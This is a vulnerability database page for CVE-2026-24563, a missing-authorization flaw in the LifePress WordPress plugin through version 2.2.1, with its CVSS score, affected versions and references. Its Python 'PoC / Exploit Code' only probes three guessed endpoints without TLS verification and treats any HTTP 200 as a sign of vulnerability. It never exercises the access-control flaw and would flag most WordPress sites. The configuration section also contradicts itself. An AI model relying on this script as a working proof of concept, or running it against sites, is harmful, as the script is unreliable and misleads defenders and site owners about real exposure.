CVE-2026-24563

Description

Missing Authorization vulnerability in Ashan Perera LifePress lifepress allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects LifePress: from n/a through <= 2.2.1.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

LifePress <= 2.2.1

LifePress 2.1.3 (confirmed vulnerable)

LifePress < 2.2.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2026-24563 PoC - LifePress Broken Access Control
# Target: WordPress site with LifePress plugin <= 2.2.1

def check_vulnerability(target_url):
    """
    Check if target is vulnerable to CVE-2026-24563
    Missing Authorization in LifePress plugin
    """
    # Vulnerable endpoints - these may vary based on plugin configuration
    vulnerable_endpoints = [
        '/wp-admin/admin-ajax.php',
        '/wp-admin/admin.php?page=lifepress_settings',
        '/wp-content/plugins/lifepress/includes/'
    ]
    
    print(f'[*] Testing target: {target_url}')
    print(f'[*] CVE-2026-24563: LifePress <= 2.2.1 Broken Access Control')
    
    # Test with low-privilege user session or unauthenticated
    for endpoint in vulnerable_endpoints:
        url = target_url.rstrip('/') + endpoint
        try:
            response = requests.get(url, timeout=10, verify=False)
            if response.status_code == 200:
                print(f'[+] Potential vulnerable endpoint found: {url}')
                print(f'[+] Status code: {response.status_code}')
        except requests.RequestException as e:
            print(f'[-] Error accessing {url}: {e}')
    
    print('[*] PoC completed. Manual verification required.')

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: python cve-2026-24563-poc.py <target_url>')
        sys.exit(1)
    check_vulnerability(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24563
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24563
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24563/
[4] VulDB https://vuldb.com/cve/CVE-2026-24563
[5] https://patchstack.com/database/Wordpress/Plugin/lifepress/vulnerability/wordpress-lifepress-plugin-2-1-3-broken-access-control-vulnerability-2?_s_id=cve

Raw JSON Data

JSON

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